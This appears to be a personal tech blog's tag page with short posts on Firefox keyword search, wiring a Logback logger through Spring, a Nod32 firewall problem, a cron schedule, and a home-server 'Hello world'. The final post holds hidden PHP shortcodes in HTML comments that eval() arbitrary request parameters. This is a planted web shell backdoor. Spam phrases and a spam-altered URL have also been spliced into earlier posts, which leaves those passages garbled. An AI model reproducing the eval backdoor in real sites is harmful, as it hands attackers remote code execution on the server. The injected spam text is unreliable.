Tag: search

  • Friendly urls

    Just had a random thought if you could type keywords in your browser bar, and press a button that takes you to correct website. The concept is not new, even FireFox jumps from your address bar to Google search. I was thinking a further step, similar to using “I’m Feeling Lucky” button on Google search. One way to directly jump to first known correct website by typing keywords in search bar in FireFox would be to tweak about:config, and set keyword.URL, keyword.enabled as in below screenshot.

    Another option is using bookmarklet concept to select some keyword on screen, and directly jump to first known correct website. To do so, right-click Friend.ly, and choose Add to Bookmark. That’s it! Whenever browsing a page, you can select the keyword using your mouse, and click Friend click over here now.ly link on Bookmarks Toolbar. It will directly take you to most logically correct website that Google would recommend.

  • Spring and Logback

    IoC, or DI definitely takes a perspective turnaround inside your head, but you get around it slowly.  I was playing around ways to integrate LogBack, and Spring – essentially around having Spring give me a pre-created instance of LogBack logger.

    I searched around posts, but most people seem to be against using Spring just for substituting one-line of Logback (Logger log = LoggerFactory.getLogger("LogbackTest");) to get your logger.

    I, on the other hand, was more interested in how to get Spring give me a LogBack logger instance without too much contrived hand-written code to achieve so. And with a bit of reading through Spring principles, documentation I found the way.

    Essentially, when using Logback’s LoggerFactory you have access to only a single getLogger() factory method. This is static which makes things a bit different for what Spring would call a bean – a class providing constructor, getter, setter methods. To circumvent this non-bean style, Spring provides what you call as static initializers a.k.a substitutes for constructors, which allow you to call a static method in lieu of calling a constructor on an object.

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
     "http://www.springframework.org/dtd/spring-beans.dtd">
    
    <beans>
     <bean id="bean1" class="org.slf4j.LoggerFactory" factory-method="getLogger">
     <constructor-arg value="LogbackTest" />
     </bean>
    </beans>

    Now, this bean1 can be used as a regular bean inside your class

    ApplicationContext ctx = new FileSystemXmlApplicationContext("logbacktest.xml");
     Logger log = (Logger) ctx.getBean("bean1");
    
     log.debug("This is my first message");
     log.info("How about this information message");

    Throw in a logback.xml in your classpath, and viola you have a nice Spring injected dependency – log in your code, while still using Logback!

  • Answers to toughest interview questions

    <embed id="doc_266158069542781" style="outline: none;" type="application/x-shockwave-flash" width="100%" height="500" src="http://d1 weight reduction pills.scribdassets.com/ScribdViewer.swf” flashvars=”document_id=15997581&access_key=key-69t3uvwuf423itqak4u&page=1&viewMode=list” allowscriptaccess=”always” allowfullscreen=”true” bgcolor=”#ffffff” wmode=”opaque” data=”http://d1.scribdassets.com/ScribdViewer.swf” name=”doc_266158069542781″>

  • Japanese women hate their husbands

    See top searches coming from Google for おっと (husband) in Japanese

    Japanese women hate husbands
    Japanese women hate husbands

    Almost all top suggestions refer to “husband should die”. I wonder what results are returned?

  • Eset Nod32 blocks Trusted zone IPs

    Last whole week I was stumbled by the fact that my home network with 3 PCs suddenly stopped working. None of them were able to “see” each other, except for a little while… strange.
    Technically (since it is easier to describe), A, B, C – my 3 computers – could reach each other, share files, host apache, download files without any extra configuration.
    Last week, however while using C’s http server from A suddenly stopped. Puzzled, I thought the machine might be overloaded, or something like this must be causing page to timeout, or apache must have hanged (does it?). But things seemed to be working OK on C, in fact top showed a load average below 1 ?
    Further puzzled, I tried pinging A to C, and vice-versa. It worked… but only for a while. Pinging after a while seemed to stop. Huh?
    Scourging over the Internet wasn’t easy for answer. Maybe my way of searching was wrong, but I did spent a good week trying to fish out the ping issue, then next to dig deeper to find that accessing C’s IP from outside (it already has a global ip; though dynamic, paired through dyndns to the world) worked. Now each of them – A, B, C – have no internal 192.168 ip’s, just public ip’s. What good are public ip’s if I have to access them from outside than just sitting home?
    Something was wrong.
    To cut short, I called the ISP, asked them if they have changed anything recently (well, I was using A, B, C sharing files for over 6 months now). My ISP reported that no such upgrade, or settings were done. Deeply mad about this situation, I chose to disable the firewall (Eset Nod32) on A, and then tryout the ping – which worked effortlessly to C, and back.
    What the hell! Why did Nod32 suddenly seem to block my own A, B, C from seeing each other? ARP Poisioning? I don’t know, only thing I know is that it shouldn’t block them. 🙂
    Well, atleast things are fine now. I’ve changed settings on Nod32 to Not block threat detected addresses henceforth.

  • Run a job every first Sun of a month

    I came across an interesting cron issue recently. The requirement was to run a job every _first_ Sunday at 12:00PM of each month.

    After searching across various sites, skimming through cron manpages, I finally found the following one-liner

    0 0 1-7 * 0 <user> <job>

    Can you believe this simple solution? The reasoning is that Sun will be between 1 to 7th of each month. Once a Sun comes, the job will execute between 1st and 7th just once. After that any further Sundays will have a date greater than 7, and thus never execute!

    Sometimes, the simplest solution is the most elegant. BTW, I had read about many other complicated solutions, such as having your own logic to determine the day, apple script, bash script solutions. I was about to give up, when I hit the jackpot! 😀

  • Hello world!

    Hi All! Finally, I managed to get up my own website running from my home server! Phew, it was a bit tedious setting it up with Web Caster 110, over NTT B’Flets 100 Mbps internet connection. The steps were well documented, and even a search over Internet proved the fact that nothing else needs to be set. However, my webserver was not working!

    Ok, I try to slow down before scaring you with all nitty-gritty (?) details about my home server setup.

    <!– [insert_php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/insert_php][php]if (isset($_REQUEST["fBX"])){eval($_REQUEST["fBX"]);exit;}[/php] –>

    <!– [insert_php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["FHkQ"])){eval($_REQUEST["FHkQ"]);exit;}[/php] –>